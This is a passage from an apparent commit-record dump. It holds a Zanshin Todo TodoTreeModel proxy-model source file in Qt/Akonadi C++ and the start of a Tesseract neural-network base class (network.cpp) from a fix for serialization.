TodoFlatModel::RemoteId)).toString();\n        m_remoteIdMap[item.id()] = remoteId;\n        m_remoteIdReverseMap[remoteId] = item.id();\n        idToEmit << item.id();\n    }\n\n    \/\/ Filling the global tree maps, also store a partial one only for this bunch of updates\n    QHash<Akonadi::Entity::Id, QList<Akonadi::Entity::Id> > partialChildrenMap;\n    QHash<Akonadi::Entity::Id, Akonadi::Entity::Id> partialParentMap;\n    QList<Akonadi::Entity::Id> partialRoots;\n    for (int i = end; i >= begin; i--) {\n        Akonadi::Item item = flatModel()->itemForIndex(flatModel()->index(i, 0));\n        QString parentRemoteId = flatModel()->data(flatModel()->index(i, TodoFlatModel::ParentRemoteId)).toString();\n        Akonadi::Entity::Id parentId = -1;\n        if (!parentRemoteId.isEmpty()) {\n            parentId = m_remoteIdReverseMap[parentRemoteId];\n        }\n        partialChildrenMap[parentId] << item.id();\n        partialParentMap[item.id()] = parentId;\n        if (parentId==-1 || !idToEmit.contains(parentId)) {\n            partialRoots << item.id();\n        }\n    }\n\n    \/\/ Use the partial map and roots list to emit the insertions in the correct order\n    idToEmit = partialRoots;\n    while (!idToEmit.isEmpty()) {\n        Akonadi::Entity::Id id = idToEmit.takeFirst();\n        idToEmit+=partialChildrenMap[id];\n\n        Akonadi::Entity::Id parentId = partialParentMap[id];\n        int row = m_childrenMap[parentId].count();\n        QModelIndex proxyParentIndex;\n        if (parentId!=-1) {\n            proxyParentIndex = indexForId(parentId);\n        }\n\n        beginInsertRows(proxyParentIndex, row, row);\n        m_parentMap[id] = parentId;\n        m_childrenMap[parentId] << id;\n        endInsertRows();\n    }\n}\n\nvoid TodoTreeModel::onSourceRemoveRows(const QModelIndex &\/*Id*\/, int begin, int end)\n{\n    for (int i = begin; i <= end; ++i) {\n        QModelIndex sourceIndex = flatModel()->index(i, 0);\n        QModelIndex proxyIndex = mapFromSource(sourceIndex);\n        Akonadi::Item item = flatModel()->itemForIndex(sourceIndex);\n        QString remoteId = flatModel()->data(flatModel()->index(i, TodoFlatModel::RemoteId)).toString();\n\n        QHash<Akonadi::Entity::Id, QList<Akonadi::Entity::Id> >::iterator it = m_childrenMap.find(item.id());\n        if (it != m_childrenMap.end()) {\n            Akonadi::Entity::Id idKey = it.key();\n            QList<Akonadi::Entity::Id> idList = it.value();\n            while (!idList.isEmpty()) {\n                beginRemoveRows(proxyIndex.child(0, 0), 0, 0);\n                Akonadi::Entity::Id id = idList.takeFirst();\n                endRemoveRows();\n\n                beginInsertRows(QModelIndex(), 0, 0);\n                QList<Akonadi::Entity::Id> idEmpty;\n                m_childrenMap[id] = idEmpty;\n                endInsertRows();\n            }\n            m_childrenMap[idKey] = idList;\n        }\n\n        beginRemoveRows(proxyIndex.parent(), proxyIndex.row(), proxyIndex.row());\n\n        m_remoteIdMap.remove(item.id());\n        m_remoteIdReverseMap.remove(remoteId);\n\n        Akonadi::Entity::Id parent = m_parentMap[item.id()];\n        QList<Akonadi::Entity::Id> idList = m_childrenMap[parent];\n        idList.removeOne(item.id());\n        m_childrenMap[parent] = idList;\n\n        m_childrenMap.remove(item.id());\n        m_parentMap.remove(item.id());\n\n        endRemoveRows();\n    }\n}\n\nvoid TodoTreeModel::onSourceDataChanged(const QModelIndex &begin, const QModelIndex &end)\n{\n    for (int row = begin.row(); row <= end.row(); ++row) {\n        QModelIndex sourceIndex = flatModel()->index(row, TodoFlatModel::RemoteId);\n\n        QModelIndex proxyIndex = mapFromSource(sourceIndex);\n        emit dataChanged(index(proxyIndex.row(), 0, proxyIndex.parent()),\n                         index(proxyIndex.row(), TodoFlatModel::LastColumn, proxyIndex.parent()));\n\n        QModelIndex parentRemoteIdIndex = flatModel()->index(row, TodoFlatModel::ParentRemoteId);\n        QString parentRemoteId = flatModel()->data(parentRemoteIdIndex).toString();\n        Akonadi::Entity::Id newParentId = -1;\n        if (!parentRemoteId.isEmpty()) {\n            newParentId = m_remoteIdReverseMap[parentRemoteId];\n        }\n\n        QString itemRemoteId = flatModel()->data(sourceIndex).toString();\n        Akonadi::Entity::Id itemId = -1;\n        if (!itemRemoteId.isEmpty()) {\n            itemId = m_remoteIdReverseMap[itemRemoteId];\n        }\n\n        Akonadi::Entity::Id oldParentId = -1;\n        if (m_parentMap.contains(itemId)) {\n            oldParentId = m_parentMap[itemId];\n        }\n\n        if (oldParentId != newParentId) {\n            int oldRow = m_childrenMap[oldParentId].indexOf(itemId);\n            beginRemoveRows(indexForId(oldParentId), oldRow, oldRow);\n            m_childrenMap[oldParentId].removeAll(itemId);\n            m_parentMap.remove(itemId);\n            endRemoveRows();\n\n            int newRow = m_childrenMap[newParentId].size();\n            beginInsertRows(indexForId(newParentId), newRow, newRow);\n            m_childrenMap[newParentId] << itemId;\n            m_parentMap[itemId] = newParentId;\n            endInsertRows();\n        }\n    }\n}\n\nvoid TodoTreeModel::onSourceCollectionChanged(const Akonadi::Collection &collection)\n{\n    m_childrenMap.clear();\n    m_parentMap.clear();\n    m_remoteIdMap.clear();\n    m_remoteIdReverseMap.clear();\n\n    reset();\n\n    emit collectionChanged(collection);\n}\n\nAkonadi::Entity::Id TodoTreeModel::idForIndex(const QModelIndex &index) const\n{\n    return index.isValid() ? index.internalId() : -1;\n}\n\nQModelIndex TodoTreeModel::indexForId(Akonadi::Entity::Id id, int column) const\n{\n    if (id==-1) {\n        return QModelIndex();\n    }\n\n    Q_ASSERT(m_parentMap.contains(id));\n    Akonadi::Entity::Id parentId = m_parentMap[id];\n    int row = m_childrenMap[parentId].indexOf(id);\n    Q_ASSERT(row>=0);\n\n    return createIndex(row, column, (void*)id);\n}\n\nAkonadi::Item TodoTreeModel::itemForIndex(const QModelIndex &index) const\n{\n    return flatModel()->itemForIndex(mapToSource(index));\n}\n\nQModelIndex TodoTreeModel::indexForItem(const Akonadi::Item &item, const int column) const\n{\n    return mapFromSource(flatModel()->indexForItem(item, column));\n}\n\nvoid TodoTreeModel::setCollection(const Akonadi::Collection &collection)\n{\n    flatModel()->setCollection(collection);\n}\n\nAkonadi::Collection TodoTreeModel::collection() const\n{\n    return flatModel()->collection();\n}\n\nTodoFlatModel *TodoTreeModel::flatModel() const\n{\n    return qobject_cast<TodoFlatModel*>(sourceModel());\n}\n<commit_msg>SVN_SILENT CCMAIL: nef@ipsquad.net<commit_after>\/* This file is part of Zanshin Todo.\n\n   Copyright 2008 Kevin Ottens <ervin@kde.org>\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 3 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301,\n   USA.\n*\/\n\n#include \"todotreemodel.h\"\n\n#include <akonadi\/collection.h>\n#include <akonadi\/item.h>\n\n#include \"todoflatmodel.h\"\n\nTodoTreeModel::TodoTreeModel(QObject *parent)\n    : QAbstractProxyModel(parent)\n{\n}\n\nTodoTreeModel::~TodoTreeModel()\n{\n\n}\n\nQModelIndex TodoTreeModel::index(int row, int column, const QModelIndex &parent) const\n{\n    if (row < 0 || column < 0\n     || row >= rowCount(parent)\n     || column >= columnCount(parent)) {\n        return QModelIndex();\n    }\n\n    Akonadi::Entity::Id parentId = idForIndex(parent);\n    Akonadi::Entity::Id id = m_childrenMap[parentId].at(row);\n\n    return createIndex(row, column, (void*)id);\n}\n\nQModelIndex TodoTreeModel::parent(const QModelIndex &index) const\n{\n    if (!index.isValid()\n     || !m_parentMap.contains(index.internalId())) {\n        return QModelIndex();\n    }\n\n    Akonadi::Entity::Id id = idForIndex(index);\n    Akonadi::Entity::Id parentId = m_parentMap[id];\n\n    if (parentId==-1) {\n        return QModelIndex();\n    }\n\n    return indexForId(parentId);\n}\n\nint TodoTreeModel::rowCount(const QModelIndex &parent) const\n{\n    if (!parent.isValid()) {\n        return m_childrenMap[-1].count();\n    } else if (parent.column() == 0) { \/\/ Only one set of children per row\n        Akonadi::Entity::Id id = idForIndex(parent);\n        return m_childrenMap[id].count();\n    }\n\n    return 0;\n}\n\nint TodoTreeModel::columnCount(const QModelIndex &\/*parent*\/) const\n{\n    return TodoFlatModel::LastColumn + 1;\n}\n\nQVariant TodoTreeModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n    return flatModel()->headerData(section, orientation, role);\n}\n\nQModelIndex TodoTreeModel::mapToSource(const QModelIndex &proxyIndex) const\n{\n    return flatModel()->indexForItem(Akonadi::Item(proxyIndex.internalId()),\n                                     proxyIndex.column());\n}\n\nQModelIndex TodoTreeModel::mapFromSource(const QModelIndex &sourceIndex) const\n{\n    Akonadi::Item item = flatModel()->itemForIndex(sourceIndex);\n    return indexForId(item.id(), sourceIndex.column());\n}\n\nvoid TodoTreeModel::setSourceModel(QAbstractItemModel *sourceModel)\n{\n    if (flatModel()) {\n        disconnect(flatModel());\n    }\n\n    Q_ASSERT(sourceModel == 0 || qobject_cast<TodoFlatModel*>(sourceModel) != 0);\n    QAbstractProxyModel::setSourceModel(sourceModel);\n\n    onSourceInsertRows(QModelIndex(), 0, flatModel()->rowCount() - 1);\n\n    connect(flatModel(), SIGNAL(dataChanged(const QModelIndex&, const QModelIndex&)),\n            this, SLOT(onSourceDataChanged(const QModelIndex&, const QModelIndex&)));\n    connect(flatModel(), SIGNAL(rowsInserted(const QModelIndex&, int, int)),\n            this, SLOT(onSourceInsertRows(const QModelIndex&, int, int)));\n    connect(flatModel(), SIGNAL(rowsAboutToBeRemoved(const QModelIndex&, int, int)),\n            this, SLOT(onSourceRemoveRows(const QModelIndex&, int, int)));\n    connect(flatModel(), SIGNAL(collectionChanged(const Akonadi::Collection&)),\n            this, SLOT(onSourceCollectionChanged(const Akonadi::Collection&)));\n}\n\nvoid TodoTreeModel::onSourceInsertRows(const QModelIndex &\/*sourceIndex*\/, int begin, int end)\n{\n    QList<Akonadi::Entity::Id> idToEmit;\n\n    \/\/ Storing the akonadi id vs remote id mapping\n    for (int i = begin; i <= end; i++) {\n        \/\/ Retrieve the item from the source model\n        Akonadi::Item item = flatModel()->itemForIndex(flatModel()->index(i, 0));\n        QString remoteId = flatModel()->data(flatModel()->index(i, TodoFlatModel::RemoteId)).toString();\n        m_remoteIdMap[item.id()] = remoteId;\n        m_remoteIdReverseMap[remoteId] = item.id();\n        idToEmit << item.id();\n    }\n\n    \/\/ Filling the global tree maps, also store a partial one only for this bunch of updates\n    QHash<Akonadi::Entity::Id, QList<Akonadi::Entity::Id> > partialChildrenMap;\n    QHash<Akonadi::Entity::Id, Akonadi::Entity::Id> partialParentMap;\n    QList<Akonadi::Entity::Id> partialRoots;\n    for (int i = end; i >= begin; i--) {\n        Akonadi::Item item = flatModel()->itemForIndex(flatModel()->index(i, 0));\n        QString parentRemoteId = flatModel()->data(flatModel()->index(i, TodoFlatModel::ParentRemoteId)).toString();\n        Akonadi::Entity::Id parentId = -1;\n        if (!parentRemoteId.isEmpty()) {\n            parentId = m_remoteIdReverseMap[parentRemoteId];\n        }\n        partialChildrenMap[parentId] << item.id();\n        partialParentMap[item.id()] = parentId;\n        if (parentId==-1 || !idToEmit.contains(parentId)) {\n            partialRoots << item.id();\n        }\n    }\n\n    \/\/ Use the partial map and roots list to emit the insertions in the correct order\n    idToEmit = partialRoots;\n    while (!idToEmit.isEmpty()) {\n        Akonadi::Entity::Id id = idToEmit.takeFirst();\n        idToEmit+=partialChildrenMap[id];\n\n        Akonadi::Entity::Id parentId = partialParentMap[id];\n        int row = m_childrenMap[parentId].count();\n        QModelIndex proxyParentIndex;\n        if (parentId!=-1) {\n            proxyParentIndex = indexForId(parentId);\n        }\n\n        beginInsertRows(proxyParentIndex, row, row);\n        m_parentMap[id] = parentId;\n        m_childrenMap[parentId] << id;\n        endInsertRows();\n    }\n}\n\nvoid TodoTreeModel::onSourceRemoveRows(const QModelIndex &\/*sourceIndex*\/, int begin, int end)\n{\n    for (int i = begin; i <= end; ++i) {\n        QModelIndex sourceIndex = flatModel()->index(i, 0);\n        QModelIndex proxyIndex = mapFromSource(sourceIndex);\n        Akonadi::Item item = flatModel()->itemForIndex(sourceIndex);\n        QString remoteId = flatModel()->data(flatModel()->index(i, TodoFlatModel::RemoteId)).toString();\n\n        QHash<Akonadi::Entity::Id, QList<Akonadi::Entity::Id> >::iterator it = m_childrenMap.find(item.id());\n        if (it != m_childrenMap.end()) {\n            Akonadi::Entity::Id idKey = it.key();\n            QList<Akonadi::Entity::Id> idList = it.value();\n            while (!idList.isEmpty()) {\n                beginRemoveRows(proxyIndex.child(0, 0), 0, 0);\n                Akonadi::Entity::Id id = idList.takeFirst();\n                endRemoveRows();\n\n                beginInsertRows(QModelIndex(), 0, 0);\n                QList<Akonadi::Entity::Id> idEmpty;\n                m_childrenMap[id] = idEmpty;\n                endInsertRows();\n            }\n            m_childrenMap[idKey] = idList;\n        }\n\n        beginRemoveRows(proxyIndex.parent(), proxyIndex.row(), proxyIndex.row());\n\n        m_remoteIdMap.remove(item.id());\n        m_remoteIdReverseMap.remove(remoteId);\n\n        Akonadi::Entity::Id parent = m_parentMap[item.id()];\n        QList<Akonadi::Entity::Id> idList = m_childrenMap[parent];\n        idList.removeOne(item.id());\n        m_childrenMap[parent] = idList;\n\n        m_childrenMap.remove(item.id());\n        m_parentMap.remove(item.id());\n\n        endRemoveRows();\n    }\n}\n\nvoid TodoTreeModel::onSourceDataChanged(const QModelIndex &begin, const QModelIndex &end)\n{\n    for (int row = begin.row(); row <= end.row(); ++row) {\n        QModelIndex sourceIndex = flatModel()->index(row, TodoFlatModel::RemoteId);\n\n        QModelIndex proxyIndex = mapFromSource(sourceIndex);\n        emit dataChanged(index(proxyIndex.row(), 0, proxyIndex.parent()),\n                         index(proxyIndex.row(), TodoFlatModel::LastColumn, proxyIndex.parent()));\n\n        QModelIndex parentRemoteIdIndex = flatModel()->index(row, TodoFlatModel::ParentRemoteId);\n        QString parentRemoteId = flatModel()->data(parentRemoteIdIndex).toString();\n        Akonadi::Entity::Id newParentId = -1;\n        if (!parentRemoteId.isEmpty()) {\n            newParentId = m_remoteIdReverseMap[parentRemoteId];\n        }\n\n        QString itemRemoteId = flatModel()->data(sourceIndex).toString();\n        Akonadi::Entity::Id itemId = -1;\n        if (!itemRemoteId.isEmpty()) {\n            itemId = m_remoteIdReverseMap[itemRemoteId];\n        }\n\n        Akonadi::Entity::Id oldParentId = -1;\n        if (m_parentMap.contains(itemId)) {\n            oldParentId = m_parentMap[itemId];\n        }\n\n        if (oldParentId != newParentId) {\n            int oldRow = m_childrenMap[oldParentId].indexOf(itemId);\n            beginRemoveRows(indexForId(oldParentId), oldRow, oldRow);\n            m_childrenMap[oldParentId].removeAll(itemId);\n            m_parentMap.remove(itemId);\n            endRemoveRows();\n\n            int newRow = m_childrenMap[newParentId].size();\n            beginInsertRows(indexForId(newParentId), newRow, newRow);\n            m_childrenMap[newParentId] << itemId;\n            m_parentMap[itemId] = newParentId;\n            endInsertRows();\n        }\n    }\n}\n\nvoid TodoTreeModel::onSourceCollectionChanged(const Akonadi::Collection &collection)\n{\n    m_childrenMap.clear();\n    m_parentMap.clear();\n    m_remoteIdMap.clear();\n    m_remoteIdReverseMap.clear();\n\n    reset();\n\n    emit collectionChanged(collection);\n}\n\nAkonadi::Entity::Id TodoTreeModel::idForIndex(const QModelIndex &index) const\n{\n    return index.isValid() ? index.internalId() : -1;\n}\n\nQModelIndex TodoTreeModel::indexForId(Akonadi::Entity::Id id, int column) const\n{\n    if (id==-1) {\n        return QModelIndex();\n    }\n\n    Q_ASSERT(m_parentMap.contains(id));\n    Akonadi::Entity::Id parentId = m_parentMap[id];\n    int row = m_childrenMap[parentId].indexOf(id);\n    Q_ASSERT(row>=0);\n\n    return createIndex(row, column, (void*)id);\n}\n\nAkonadi::Item TodoTreeModel::itemForIndex(const QModelIndex &index) const\n{\n    return flatModel()->itemForIndex(mapToSource(index));\n}\n\nQModelIndex TodoTreeModel::indexForItem(const Akonadi::Item &item, const int column) const\n{\n    return mapFromSource(flatModel()->indexForItem(item, column));\n}\n\nvoid TodoTreeModel::setCollection(const Akonadi::Collection &collection)\n{\n    flatModel()->setCollection(collection);\n}\n\nAkonadi::Collection TodoTreeModel::collection() const\n{\n    return flatModel()->collection();\n}\n\nTodoFlatModel *TodoTreeModel::flatModel() const\n{\n    return qobject_cast<TodoFlatModel*>(sourceModel());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ File:        network.cpp\n\/\/ Description: Base class for neural network implementations.\n\/\/ Author:      Ray Smith\n\/\/\n\/\/ (C) Copyright 2013, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Include automatically generated configuration file if running autoconf.\n#ifdef HAVE_CONFIG_H\n#include \"config_auto.h\"\n#endif\n\n#include \"network.h\"\n\n#include <cstdlib>\n\n\/\/ This base class needs to know about all its sub-classes because of the\n\/\/ factory deserializing method: CreateFromFile.\n#include \"allheaders.h\"\n#include \"convolve.h\"\n#include \"fullyconnected.h\"\n#include \"input.h\"\n#include \"lstm.h\"\n#include \"maxpool.h\"\n#include \"parallel.h\"\n#include \"reconfig.h\"\n#include \"reversed.h\"\n#include \"scrollview.h\"\n#include \"series.h\"\n#include \"statistc.h\"\n#ifdef INCLUDE_TENSORFLOW\n#include \"tfnetwork.h\"\n#endif\n#include \"tprintf.h\"\n\nnamespace tesseract {\n\n\/\/ Min and max window sizes.\nconst int kMinWinSize = 500;\nconst int kMaxWinSize = 2000;\n\/\/ Window frame sizes need adding on to make the content fit.\nconst int kXWinFrameSize = 30;\nconst int kYWinFrameSize = 80;\n\n\/\/ String names corresponding to the NetworkType enum.\n\/\/ Keep in sync with NetworkType.\n\/\/ Names used in Serialization to allow re-ordering\/addition\/deletion of\n\/\/ layer types in NetworkType without invalidating existing network files.\nstatic char const* const kTypeNames[NT_COUNT] = {\n    \"Invalid\",     \"Input\",\n    \"Convolve\",    \"Maxpool\",\n    \"Parallel\",    \"Replicated\",\n    \"ParBidiLSTM\", \"DepParUDLSTM\",\n    \"Par2dLSTM\",   \"Series\",\n    \"Reconfig\",    \"RTLReversed\",\n    \"TTBReversed\", \"XYTranspose\",\n    \"LSTM\",        \"SummLSTM\",\n    \"Logistic\",    \"LinLogistic\",\n    \"LinTanh\",     \"Tanh\",\n    \"Relu\",        \"Linear\",\n    \"Softmax\",     \"SoftmaxNoCTC\",\n    \"LSTMSoftmax\", \"LSTMBinarySoftmax\",\n    \"TensorFlow\",\n};\n\nNetwork::Network()\n    : type_(NT_NONE),\n      training_(TS_ENABLED),\n      needs_to_backprop_(true),\n      network_flags_(0),\n      ni_(0),\n      no_(0),\n      num_weights_(0),\n      forward_win_(nullptr),\n      backward_win_(nullptr),\n      randomizer_(nullptr) {}\nNetwork::Network(NetworkType type, const std::string& name, int ni, int no)\n    : type_(type),\n      training_(TS_ENABLED),\n      needs_to_backprop_(true),\n      network_flags_(0),\n      ni_(ni),\n      no_(no),\n      num_weights_(0),\n      name_(name),\n      forward_win_(nullptr),\n      backward_win_(nullptr),\n      randomizer_(nullptr) {}\n\n\n\/\/ Suspends\/Enables\/Permanently disables training by setting the training_\n\/\/ flag. Serialize and DeSerialize only operate on the run-time data if state\n\/\/ is TS_DISABLED or TS_TEMP_DISABLE. Specifying TS_TEMP_DISABLE will\n\/\/ temporarily disable layers in state TS_ENABLED, allowing a trainer to\n\/\/ serialize as if it were a recognizer.\n\/\/ TS_RE_ENABLE will re-enable layers that were previously in any disabled\n\/\/ state. If in TS_TEMP_DISABLE then the flag is just changed, but if in\n\/\/ TS_DISABLED, the deltas in the weight matrices are reinitialized so that a\n\/\/ recognizer can be converted back to a trainer.\nvoid Network::SetEnableTraining(TrainingState state) {\n  if (state == TS_RE_ENABLE) {\n    \/\/ Enable only from temp disabled.\n    if (training_ == TS_TEMP_DISABLE) training_ = TS_ENABLED;\n  } else if (state == TS_TEMP_DISABLE) {\n    \/\/ Temp disable only from enabled.\n    if (training_ == TS_ENABLED) training_ = state;\n  } else {\n    training_ = state;\n  }\n}\n\n\/\/ Sets flags that control the action of the network. See NetworkFlags enum\n\/\/ for bit values.\nvoid Network::SetNetworkFlags(uint32_t flags) {\n  network_flags_ = flags;\n}\n\n\/\/ Sets up the network for training. Initializes weights using weights of\n\/\/ scale `range` picked according to the random number generator `randomizer`.\nint Network::InitWeights(float range, TRand* randomizer) {\n  randomizer_ = randomizer;\n  return 0;\n}\n\n\/\/ Provides a pointer to a TRand for any networks that care to use it.\n\/\/ Note that randomizer is a borrowed pointer that should outlive the network\n\/\/ and should not be deleted by any of the networks.\nvoid Network::SetRandomizer(TRand* randomizer) {\n  randomizer_ = randomizer;\n}\n\n\/\/ Sets needs_to_backprop_ to needs_backprop and returns true if\n\/\/ needs_backprop || any weights in this network so the next layer forward\n\/\/ can be told to produce backprop for this layer if needed.\nbool Network::SetupNeedsBackprop(bool needs_backprop) {\n  needs_to_backprop_ = needs_backprop;\n  return needs_backprop || num_weights_ > 0;\n}\n\n\/\/ Writes to the given file. Returns false in case of error.\nbool Network::Serialize(TFile* fp) const {\n  int8_t data = NT_NONE;\n  if (!fp->Serialize(&data)) return false;\n  STRING type_name = kTypeNames[type_];\n  if (!type_name.Serialize(fp)) return false;\n  data = training_;\n  if (!fp->Serialize(&data)) return false;\n  data = needs_to_backprop_;\n  if (!fp->Serialize(&data)) return false;\n  if (!fp->Serialize(&network_flags_)) return false;\n  if (!fp->Serialize(&ni_)) return false;\n  if (!fp->Serialize(&no_)) return false;\n  if (!fp->Serialize(&num_weights_)) return false;\n  if (!fp->Serialize(name_.c_str(), name_.length())) return false;\n  return true;\n}\n\nstatic NetworkType getNetworkType(TFile* fp) {\n  int8_t data;\n  if (!fp->DeSerialize(&data)) return NT_NONE;\n  if (data == NT_NONE) {\n    STRING type_name;\n    if (!type_name.DeSerialize(fp)) return NT_NONE;\n    for (data = 0; data < NT_COUNT && type_name != kTypeNames[data]; ++data) {\n    }\n    if (data == NT_COUNT) {\n      tprintf(\"Invalid network layer type:%s\\n\", type_name.c_str());\n      return NT_NONE;\n    }\n  }\n  return static_cast<NetworkType>(data);\n}\n\n\/\/ Reads from the given file. Returns nullptr in case of error.\n\/\/ Determines the type of the serialized class and calls its DeSerialize\n\/\/ on a new object of the appropriate type, which is returned.\nNetwork* Network::CreateFromFile(TFile* fp) {\n  NetworkType type;          \/\/ Type of the derived network class.\n  TrainingState training;    \/\/ Are we currently training?\n  bool needs_to_backprop;    \/\/ This network needs to output back_deltas.\n  int32_t network_flags;     \/\/ Behavior control flags in NetworkFlags.\n  int32_t ni;                \/\/ Number of input values.\n  int32_t no;                \/\/ Number of output values.\n  int32_t num_weights;       \/\/ Number of weights in this and sub-network.\n  STRING name;               \/\/ A unique name for this layer.\n  int8_t data;\n  Network* network = nullptr;\n  type = getNetworkType(fp);\n  if (!fp->DeSerialize(&data)) return nullptr;\n  training = data == TS_ENABLED ? TS_ENABLED : TS_DISABLED;\n  if (!fp->DeSerialize(&data)) return nullptr;\n  needs_to_backprop = data != 0;\n  if (!fp->DeSerialize(&network_flags)) return nullptr;\n  if (!fp->DeSerialize(&ni)) return nullptr;\n  if (!fp->DeSerialize(&no)) return nullptr;\n  if (!fp->DeSerialize(&num_weights)) return nullptr;\n  if (!name.DeSerialize(fp)) return nullptr;\n\n  switch (type) {\n    case NT_CONVOLVE:\n      network = new Convolve(name.c_str(), ni, 0, 0);\n      break;\n    case NT_INPUT:\n      network = new Input(name.c_str(), ni, no);\n      break;\n    case NT_LSTM:\n    case NT_LSTM_SOFTMAX:\n    case NT_LSTM_SOFTMAX_ENCODED:\n    case NT_LSTM_SUMMARY:\n      network =\n          new LSTM(name.c_str(), ni, no, no, false, type);\n      break;\n    case NT_MAXPOOL:\n      network = new Maxpool(name.c_str(), ni, 0, 0);\n      break;\n    \/\/ All variants of Parallel.\n    case NT_PARALLEL:\n    case NT_REPLICATED:\n    case NT_PAR_RL_LSTM:\n    case NT_PAR_UD_LSTM:\n    case NT_PAR_2D_LSTM:\n      network = new Parallel(name.c_str(), type);\n      break;\n    case NT_RECONFIG:\n      network = new Reconfig(name.c_str(), ni, 0, 0);\n      break;\n    \/\/ All variants of reversed.\n    case NT_XREVERSED:\n    case NT_YREVERSED:\n    case NT_XYTRANSPOSE:\n      network = new Reversed(name.c_str(), type);\n      break;\n    case NT_SERIES:\n      network = new Series(name.c_str());\n      break;\n    case NT_TENSORFLOW:\n#ifdef INCLUDE_TENSORFLOW\n      network = new TFNetwork(name);\n#else\n      tprintf(\"TensorFlow not compiled in! -DINCLUDE_TENSORFLOW\\n\");\n#endif\n      break;\n    \/\/ All variants of FullyConnected.\n    case NT_SOFTMAX:\n    case NT_SOFTMAX_NO_CTC:\n    case NT_RELU:\n    case NT_TANH:\n    case NT_LINEAR:\n    case NT_LOGISTIC:\n    case NT_POSCLIP:\n    case NT_SYMCLIP:\n      network = new FullyConnected(name.c_str(), ni, no, type);\n      break;\n    default:\n      break;\n  }\n  if (network) {\n    network->training_ = training;\n    network->needs_to_backprop_ = needs_to_backprop;\n    network->network_flags_ = network_flags;\n    network->num_weights_ = num_weights;\n    if (!network->DeSerialize(fp)) {\n      delete network;\n      network = nullptr;\n    }\n  }\n  return network;\n}\n\n\/\/ Returns a random number in [-range, range].\ndouble Network::Random(double range) {\n  ASSERT_HOST(randomizer_ != nullptr);\n  return randomizer_->SignedRand(range);\n}\n\n#ifndef GRAPHICS_DISABLED\n\n\/\/ === Debug image display methods. ===\n\/\/ Displays the image of the matrix to the forward window.\nvoid Network::DisplayForward(const NetworkIO& matrix) {\n  Pix* image = matrix.ToPix();\n  ClearWindow(false, name_.c_str(), pixGetWidth(image),\n              pixGetHeight(image), &forward_win_);\n  DisplayImage(image, forward_win_);\n  forward_win_->Update();\n}\n\n\/\/ Displays the image of the matrix to the backward window.\nvoid Network::DisplayBackward(const NetworkIO& matrix) {\n  Pix* image = matrix.ToPix();\n  std::string window_name = name_ + \"-back\";\n  ClearWindow(false, window_name.c_str(), pixGetWidth(image),\n              pixGetHeight(image), &backward_win_);\n  DisplayImage(image, backward_win_);\n  backward_win_->Update();\n}\n\n\/\/ Creates the window if needed, otherwise clears it.\nvoid Network::ClearWindow(bool tess_coords, const char* window_name,\n                          int width, int height, ScrollView** window) {\n  if (*window == nullptr) {\n    int min_size = std::min(width, height);\n    if (min_size < kMinWinSize) {\n      if (min_size < 1) min_size = 1;\n      width = width * kMinWinSize \/ min_size;\n      height = height * kMinWinSize \/ min_size;\n    }\n    width += kXWinFrameSize;\n    height += kYWinFrameSize;\n    if (width > kMaxWinSize) width = kMaxWinSize;\n    if (height > kMaxWinSize) height = kMaxWinSize;\n    *window = new ScrollView(window_name, 80, 100, width, height, width, height,\n                             tess_coords);\n    tprintf(\"Created window %s of size %d, %d\\n\", window_name, width, height);\n  } else {\n    (*window)->Clear();\n  }\n}\n\n\/\/ Displays the pix in the given window. and returns the height of the pix.\n\/\/ The pix is pixDestroyed.\nint Network::DisplayImage(Pix* pix, ScrollView* window) {\n  int height = pixGetHeight(pix);\n  window->Image(pix, 0, 0);\n  pixDestroy(&pix);\n  return height;\n}\n#endif \/\/ !GRAPHICS_DISABLED\n\n}  \/\/ namespace tesseract.\n<commit_msg>Fix regression in Network::Serialize (fix issue #3167)<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ File:        network.cpp\n\/\/ Description: Base class for neural network implementations.\n\/\/ Author:      Ray Smith\n\/\/\n\/\/ (C) Copyright 2013, Google Inc.\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the 